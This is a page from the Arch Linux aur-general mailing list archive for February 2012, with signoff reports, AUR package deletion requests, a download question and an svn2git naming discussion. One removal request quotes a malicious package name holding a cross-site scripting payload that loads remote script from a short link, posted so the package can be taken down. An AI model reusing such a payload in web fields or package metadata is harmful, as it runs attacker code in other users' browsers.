February 2012 - Aur-general - lists.archlinux.org

[aur-general] Signoff report for [community-testing]
by Arch Website Notification 21 Feb '12

21 Feb '12

=== Signoff report for [community-testing] === https://www.archlinux.org/packages/signoffs/ There are currently: * 2 new packages in last 24 hours * 0 known bad packages * 0 packages not accepting signoffs * 0 fully signed off packages * 18 packages missing signoffs * 2 packages older than 14 days (Note: the word 'package' as used here refers to packages as grouped by pkgbase, architecture, and repository; e.g., one PKGBUILD produces one package per architecture, even if it is a split package.) == New packages in [community-testing] in last 24 hours (2 total) == * hostapd-0.7.3-7 (i686) * hostapd-0.7.3-7 (x86_64) == Incomplete signoffs for [community] (18 total) == * dbmail-3.0.0_rc3-1 (i686) 0/2 signoffs * hostapd-0.7.3-7 (i686) 0/2 signoffs * ipvsadm-1.26-3 (i686) 0/2 signoffs * keepalived-1.2.2-3 (i686) 0/2 signoffs * knemo-0.7.3-2 (i686) 0/2 signoffs * libvirt-0.9.10-1 (i686) 0/2 signoffs * netcf-0.1.7-3 (i686) 0/2 signoffs * pigeonhole-0.3.0-1 (i686) 0/2 signoffs * simh-3.8.1-3 (i686) 0/2 signoffs * dbmail-3.0.0_rc3-1 (x86_64) 0/2 signoffs * hostapd-0.7.3-7 (x86_64) 0/2 signoffs * ipvsadm-1.26-3 (x86_64) 0/2 signoffs * keepalived-1.2.2-3 (x86_64) 0/2 signoffs * knemo-0.7.3-2 (x86_64) 0/2 signoffs * libvirt-0.9.10-1 (x86_64) 0/2 signoffs * netcf-0.1.7-3 (x86_64) 0/2 signoffs * pigeonhole-0.3.0-1 (x86_64) 0/2 signoffs * simh-3.8.1-3 (x86_64) 0/2 signoffs == All packages in [community-testing] for more than 14 days (2 total) == * dbmail-3.0.0_rc3-1 (i686), since 2012-01-15 * dbmail-3.0.0_rc3-1 (x86_64), since 2012-01-16 == Top five in signoffs in last 24 hours == 1. tomegun - 1 signoffs

1 0

[aur-general] [Removal request] haveged
by Krzysztof Grygiencz 20 Feb '12

20 Feb '12

Hi, Please delete haveged https://aur.archlinux.org/packages.php?ID=56025 because it's a duplicate (it's in [community]). Regards, kfgz

2 1

[aur-general] Deletion Request lirc-utils-git
by Mark Foxwell 20 Feb '12

20 Feb '12

Hi, Please delete my package lirc-utils-git [1] as this was only created as a quick fix for a compile error and is no longer needed. Alternatively, if anyone thinks this package is of any use, I will just disown. Thanks, Mark [1] https://aur.archlinux.org/packages.php?ID=49301

2 1

[aur-general] Deletion request - elilo-git
by Keshav P R 20 Feb '12

20 Feb '12

Hi, Please delete elilo-git https://aur.archlinux.org/packages.php?ID=45565 . It uses my own git mirror of upstram cvs repo as source (no elilo-cvs package). I have created elilo-x86_64 https://aur.archlinux.org/packages.php?ID=56750 to replace it, which uses upstream release tarballs. Thanks in advance. Regards. Keshav

2 6

[aur-general] Signoff report for [community-testing]
by Arch Website Notification 20 Feb '12

20 Feb '12

=== Signoff report for [community-testing] === https://www.archlinux.org/packages/signoffs/ There are currently: * 1 new package in last 24 hours * 0 known bad packages * 0 packages not accepting signoffs * 0 fully signed off packages * 18 packages missing signoffs * 2 packages older than 14 days (Note: the word 'package' as used here refers to packages as grouped by pkgbase, architecture, and repository; e.g., one PKGBUILD produces one package per architecture, even if it is a split package.) == New packages in [community-testing] in last 24 hours (1 total) == * pigeonhole-0.3.0-1 (i686) == Incomplete signoffs for [community] (18 total) == * dbmail-3.0.0_rc3-1 (i686) 0/2 signoffs * hostapd-0.7.3-6 (i686) 0/2 signoffs * ipvsadm-1.26-3 (i686) 0/2 signoffs * keepalived-1.2.2-3 (i686) 0/2 signoffs * knemo-0.7.3-2 (i686) 0/2 signoffs * libvirt-0.9.10-1 (i686) 0/2 signoffs * netcf-0.1.7-3 (i686) 0/2 signoffs * pigeonhole-0.3.0-1 (i686) 0/2 signoffs * simh-3.8.1-3 (i686) 0/2 signoffs * dbmail-3.0.0_rc3-1 (x86_64) 0/2 signoffs * hostapd-0.7.3-6 (x86_64) 0/2 signoffs * ipvsadm-1.26-3 (x86_64) 0/2 signoffs * keepalived-1.2.2-3 (x86_64) 0/2 signoffs * knemo-0.7.3-2 (x86_64) 0/2 signoffs * libvirt-0.9.10-1 (x86_64) 0/2 signoffs * netcf-0.1.7-3 (x86_64) 0/2 signoffs * pigeonhole-0.3.0-1 (x86_64) 0/2 signoffs * simh-3.8.1-3 (x86_64) 0/2 signoffs == All packages in [community-testing] for more than 14 days (2 total) == * dbmail-3.0.0_rc3-1 (i686), since 2012-01-15 * dbmail-3.0.0_rc3-1 (x86_64), since 2012-01-16 == Top five in signoffs in last 24 hours == 1. tomegun - 7 signoffs 2. bisson - 4 signoffs 3. dreisner - 2 signoffs 4. plewis - 1 signoffs

1 0

[aur-general] Delete a package (wrong name)
by François Boulogne 19 Feb '12

19 Feb '12

Hi, I made a mistake. Could you delete liblarch-git https://aur.archlinux.org/packages.php?ID=56815 Because it is not named correctly. The correct package is already pushed: https://aur.archlinux.org/packages.php?ID=56818 (python2-liblarch-git) Thank you. -- François Boulogne. https://www.sciunto.org

2 1

[aur-general] Removal request: sdl_ttf-svn
by Davorin Učakar 19 Feb '12

19 Feb '12

Please remove sdl_ttf-svn, it has been replaced by sdl_ttf-hg. - Davorin Učakar

2 1

[aur-general] Removal request: Malicious package
by Dimitri Semitsoglou-Tsiapos 19 Feb '12

19 Feb '12

Package "testtesrdfdfdfa <script src=//bit.ly/xN4HZd>-2/*" [1] appears to exist for the sole purpose of attempting cross-site scripting. [1] http://aur.archlinux.org/packages.php?ID=56802

3 2

[aur-general] nodejs-express package
by Alper Kanat 19 Feb '12

19 Feb '12

Hey There, I was trying to install nodejs-express package via yaourt. When I searched for it, search results came up just fine. However when I tried to install it, an error occured indicating that package couldn't be found in AUR. Since yaourt was failing, I tried wget'ting the package from: wget http://aur.archlinux.org/packages/nodejs-express/nodejs-express.tar.gz which also failed with a 404 error. So I went to AUR's web site and tried to download the package and found out that it has a /no/ path before /nodejs-express/ . I don't know why this happens but I suspect AUR's directory structure is being changed? Any ideas? -- --- Quis custodiet ipsos custodes?

2 1

[aur-general] About several svn2git package....
by 郑文辉(Techlive Zheng) 19 Feb '12

19 Feb '12

In AUR, there are two svn2git packages, [svn2git][1] and [svn2git-git][2]. At first, I thought that the later one is the git version of the first,then it turns out that they are to different packages. The first one is Kevin Menard's ruby version, accturally a ruby gem. Here is the project page: https://github.com/nirvdrum/svn2git The second one is Thomas Zander's c version svn2git, hosted on http://gitorious.org. Here is the project page: http://gitorious.org/svn2git/svn2git I can't tell the deference between them, but I think it is better one of them changed to an other name. Condering the first one is an ruby gem package, so if it is better to change it to ruby-nirvdrum-svn2git or nirvdrum-svn2git in which nirvdrum-svn2git is the gem name. I am not sure about this, so I post here to ask you guys' opinion.

2 5